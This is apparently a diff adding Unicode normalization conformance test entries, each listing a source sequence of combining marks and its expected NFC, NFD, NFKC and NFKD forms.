+{ source: [0x0061, 0x034C, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x034C, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x034C, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x034C, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x034C, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x034D, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x034D, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x034D, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x034D, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x034D, 0x059A, 0x0062] },
+{ source: [0x0061, 0x034D, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x034D, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x034D, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x034D, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x034D, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x034E, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x034E, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x034E, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x034E, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x034E, 0x059A, 0x0062] },
+{ source: [0x0061, 0x034E, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x034E, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x034E, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x034E, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x034E, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0350, 0x0062], NFC: [0x00E0, 0x05AE, 0x0350, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0350, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0350, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0350, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0350, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0350, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0350, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0350, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0350, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0351, 0x0062], NFC: [0x00E0, 0x05AE, 0x0351, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0351, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0351, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0351, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0351, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0351, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0351, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0351, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0351, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0352, 0x0062], NFC: [0x00E0, 0x05AE, 0x0352, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0352, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0352, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0352, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0352, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0352, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0352, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0352, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0352, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x0353, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x0353, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x0353, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x0353, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x0353, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0353, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x0353, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0353, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0353, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0353, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x0354, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x0354, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x0354, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x0354, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x0354, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0354, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x0354, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0354, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0354, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0354, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x0355, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x0355, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x0355, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x0355, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x0355, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0355, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x0355, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0355, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0355, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0355, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x0356, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x0356, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x0356, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x0356, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x0356, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0356, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x0356, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0356, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0356, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0356, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0357, 0x0062], NFC: [0x00E0, 0x05AE, 0x0357, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0357, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0357, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0357, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0357, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0357, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0357, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0357, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0357, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x035C, 0x0315, 0x0300, 0x0358, 0x0062], NFC: [0x00E0, 0x0315, 0x0358, 0x035C, 0x0062], NFD: [0x0061, 0x0300, 0x0315, 0x0358, 0x035C, 0x0062], NFKC: [0x00E0, 0x0315, 0x0358, 0x035C, 0x0062], NFKD: [0x0061, 0x0300, 0x0315, 0x0358, 0x035C, 0x0062] },
+{ source: [0x0061, 0x0358, 0x035C, 0x0315, 0x0300, 0x0062], NFC: [0x00E0, 0x0358, 0x0315, 0x035C, 0x0062], NFD: [0x0061, 0x0300, 0x0358, 0x0315, 0x035C, 0x0062], NFKC: [0x00E0, 0x0358, 0x0315, 0x035C, 0x0062], NFKD: [0x0061, 0x0300, 0x0358, 0x0315, 0x035C, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x0359, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x0359, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x0359, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x0359, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x0359, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0359, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x0359, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0359, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0359, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0359, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x035A, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x035A, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x035A, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x035A, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x035A, 0x059A, 0x0062] },
+{ source: [0x0061, 0x035A, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x035A, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x035A, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x035A, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x035A, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x035B, 0x0062], NFC: [0x00E0, 0x05AE, 0x035B, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x035B, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x035B, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x035B, 0x0315, 0x0062] },
+{ source: [0x0061, 0x035B, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x035B, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x035B, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x035B, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x035B, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x035D, 0x035C, 0x0315, 0x035C, 0x0062], NFC: [0x0061, 0x0315, 0x035C, 0x035C, 0x035D, 0x0062], NFD: [0x0061, 0x0315, 0x035C, 0x035C, 0x035D, 0x0062], NFKC: [0x0061, 0x0315, 0x035C, 0x035C, 0x035D, 0x0062], NFKD: [0x0061, 0x0315, 0x035C, 0x035C, 0x035D, 0x0062] },
+{ source: [0x0061, 0x035C, 0x035D, 0x035C, 0x0315, 0x0062], NFC: [0x0061, 0x0315, 0x035C, 0x035C, 0x035D, 0x0062], NFD: [0x0061, 0x0315, 0x035C, 0x035C, 0x035D, 0x0062], NFKC: [0x0061, 0x0315, 0x035C, 0x035C, 0x035D, 0x0062], NFKD: [0x0061, 0x0315, 0x035C, 0x035C, 0x035D, 0x0062] },
+{ source: [0x0061, 0x0345, 0x035D, 0x035C, 0x035D, 0x0062], NFC: [0x0061, 0x035C, 0x035D, 0x035D, 0x0345, 0x0062], NFD: [0x0061, 0x035C, 0x035D, 0x035D, 0x0345, 0x0062], NFKC: [0x0061, 0x035C, 0x035D, 0x035D, 0x0345, 0x0062], NFKD: [0x0061, 0x035C, 0x035D, 0x035D, 0x0345, 0x0062] },
+{ source: [0x0061, 0x035D, 0x0345, 0x035D, 0x035C, 0x0062], NFC: [0x0061, 0x035C, 0x035D, 0x035D, 0x0345, 0x0062], NFD: [0x0061, 0x035C, 0x035D, 0x035D, 0x0345, 0x0062], NFKC: [0x0061, 0x035C, 0x035D, 0x035D, 0x0345, 0x0062], NFKD: [0x0061, 0x035C, 0x035D, 0x035D, 0x0345, 0x0062] },
+{ source: [0x0061, 0x0345, 0x035D, 0x035C, 0x035E, 0x0062], NFC: [0x0061, 0x035C, 0x035D, 0x035E, 0x0345, 0x0062], NFD: [0x0061, 0x035C, 0x035D, 0x035E, 0x0345, 0x0062], NFKC: [0x0061, 0x035C, 0x035D, 0x035E, 0x0345, 0x0062], NFKD: [0x0061, 0x035C, 0x035D, 0x035E, 0x0345, 0x0062] },
+{ source: [0x0061, 0x035E, 0x0345, 0x035D, 0x035C, 0x0062], NFC: [0x0061, 0x035C, 0x035E, 0x035D, 0x0345, 0x0062], NFD: [0x0061, 0x035C, 0x035E, 0x035D, 0x0345, 0x0062], NFKC: [0x0061, 0x035C, 0x035E, 0x035D, 0x0345, 0x0062], NFKD: [0x0061, 0x035C, 0x035E, 0x035D, 0x0345, 0x0062] },
+{ source: [0x0061, 0x035D, 0x035C, 0x0315, 0x035F, 0x0062], NFC: [0x0061, 0x0315, 0x035C, 0x035F, 0x035D, 0x0062], NFD: [0x0061, 0x0315, 0x035C, 0x035F, 0x035D, 0x0062], NFKC: [0x0061, 0x0315, 0x035C, 0x035F, 0x035D, 0x0062], NFKD: [0x0061, 0x0315, 0x035C, 0x035F, 0x035D, 0x0062] },
+{ source: [0x0061, 0x035F, 0x035D, 0x035C, 0x0315, 0x0062], NFC: [0x0061, 0x0315, 0x035F, 0x035C, 0x035D, 0x0062], NFD: [0x0061, 0x0315, 0x035F, 0x035C, 0x035D, 0x0062], NFKC: [0x0061, 0x0315, 0x035F, 0x035C, 0x035D, 0x0062], NFKD: [0x0061, 0x0315, 0x035F, 0x035C, 0x035D, 0x0062] },
+{ source: [0x0061, 0x0345, 0x035D, 0x035C, 0x0360, 0x0062], NFC: [0x0061, 0x035C, 0x035D, 0x0360, 0x0345, 0x0062], NFD: [0x0061, 0x035C, 0x035D, 0x0360, 0x0345, 0x0062], NFKC: [0x0061, 0x035C, 0x035D, 0x0360, 0x0345, 0x0062], NFKD: [0x0061, 0x035C, 0x035D, 0x0360, 0x0345, 0x0062] },
+{ source: [0x0061, 0x0360, 0x0345, 0x035D, 0x035C, 0x0062], NFC: [0x0061, 0x035C, 0x0360, 0x035D, 0x0345, 0x0062], NFD: [0x0061, 0x035C, 0x0360, 0x035D, 0x0345, 0x0062], NFKC: [0x0061, 0x035C, 0x0360, 0x035D, 0x0345, 0x0062], NFKD: [0x0061, 0x035C, 0x0360, 0x035D, 0x0345, 0x0062] },
+{ source: [0x0061, 0x0345, 0x035D, 0x035C, 0x0361, 0x0062], NFC: [0x0061, 0x035C, 0x035D, 0x0361, 0x0345, 0x0062], NFD: [0x0061, 0x035C, 0x035D, 0x0361, 0x0345, 0x0062], NFKC: [0x0061, 0x035C, 0x035D, 0x0361, 0x0345, 0x0062], NFKD: [0x0061, 0x035C, 0x035D, 0x0361, 0x0345, 0x0062] },
+{ source: [0x0061, 0x0361, 0x0345, 0x035D, 0x035C, 0x0062], NFC: [0x0061, 0x035C, 0x0361, 0x035D, 0x0345, 0x0062], NFD: [0x0061, 0x035C, 0x0361, 0x035D, 0x0345, 0x0062], NFKC: [0x0061, 0x035C, 0x0361, 0x035D, 0x0345, 0x0062], NFKD: [0x0061, 0x035C, 0x0361, 0x035D, 0x0345, 0x0062] },
+{ source: [0x0061, 0x035D, 0x035C, 0x0315, 0x0362, 0x0062], NFC: [0x0061, 0x0315, 0x035C, 0x0362, 0x035D, 0x0062], NFD: [0x0061, 0x0315, 0x035C, 0x0362, 0x035D, 0x0062], NFKC: [0x0061, 0x0315, 0x035C, 0x0362, 0x035D, 0x0062], NFKD: [0x0061, 0x0315, 0x035C, 0x0362, 0x035D, 0x0062] },
+{ source: [0x0061, 0x0362, 0x035D, 0x035C, 0x0315, 0x0062], NFC: [0x0061, 0x0315, 0x0362, 0x035C, 0x035D, 0x0062], NFD: [0x0061, 0x0315, 0x0362, 0x035C, 0x035D, 0x0062], NFKC: [0x0061, 0x0315, 0x0362, 0x035C, 0x035D, 0x0062], NFKD: [0x0061, 0x0315, 0x0362, 0x035C, 0x035D, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0363, 0x0062], NFC: [0x00E0, 0x05AE, 0x0363, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0363, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0363, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0363, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0363, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0363, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0363, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0363, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0363, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0364, 0x0062], NFC: [0x00E0, 0x05AE, 0x0364, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0364, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0364, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0364, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0364, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0364, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0364, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0364, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0364, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0365, 0x0062], NFC: [0x00E0, 0x05AE, 0x0365, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0365, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0365, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0365, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0365, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0365, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0365, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0365, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0365, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0366, 0x0062], NFC: [0x00E0, 0x05AE, 0x0366, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0366, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0366, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0366, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0366, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0366, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0366, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0366, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0366, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0367, 0x0062], NFC: [0x00E0, 0x05AE, 0x0367, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0367, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0367, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0367, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0367, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0367, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0367, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0367, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0367, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0368, 0x0062], NFC: [0x00E0, 0x05AE, 0x0368, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0368, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0368, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0368, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0368, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0368, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0368, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0368, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0368, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0369, 0x0062], NFC: [0x00E0, 0x05AE, 0x0369, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0369, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0369, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0369, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0369, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0369, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0369, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0369, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0369, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x036A, 0x0062], NFC: [0x00E0, 0x05AE, 0x036A, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x036A, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x036A, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x036A, 0x0315, 0x0062] },
+{ source: [0x0061, 0x036A, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x036A, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x036A, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x036A, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x036A, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x036B, 0x0062], NFC: [0x00E0, 0x05AE, 0x036B, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x036B, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x036B, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x036B, 0x0315, 0x0062] },
+{ source: [0x0061, 0x036B, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x036B, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x036B, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x036B, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x036B, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x036C, 0x0062], NFC: [0x00E0, 0x05AE, 0x036C, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x036C, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x036C, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x036C, 0x0315, 0x0062] },
+{ source: [0x0061, 0x036C, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x036C, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x036C, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x036C, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x036C, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x036D, 0x0062], NFC: [0x00E0, 0x05AE, 0x036D, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x036D, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x036D, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x036D, 0x0315, 0x0062] },
+{ source: [0x0061, 0x036D, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x036D, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x036D, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x036D, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x036D, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x036E, 0x0062], NFC: [0x00E0, 0x05AE, 0x036E, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x036E, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x036E, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x036E, 0x0315, 0x0062] },
+{ source: [0x0061, 0x036E, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x036E, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x036E, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x036E, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x036E, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x036F, 0x0062], NFC: [0x00E0, 0x05AE, 0x036F, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x036F, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x036F, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x036F, 0x0315, 0x0062] },
+{ source: [0x0061, 0x036F, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x036F, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x036F, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x036F, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x036F, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0483, 0x0062], NFC: [0x00E0, 0x05AE, 0x0483, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0483, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0483, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0483, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0483, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0483, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0483, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0483, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0483, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0484, 0x0062], NFC: [0x00E0, 0x05AE, 0x0484, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0484, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0484, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0484, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0484, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0484, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0484, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0484, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0484, 0x0300, 0x0315, 0x0062] },
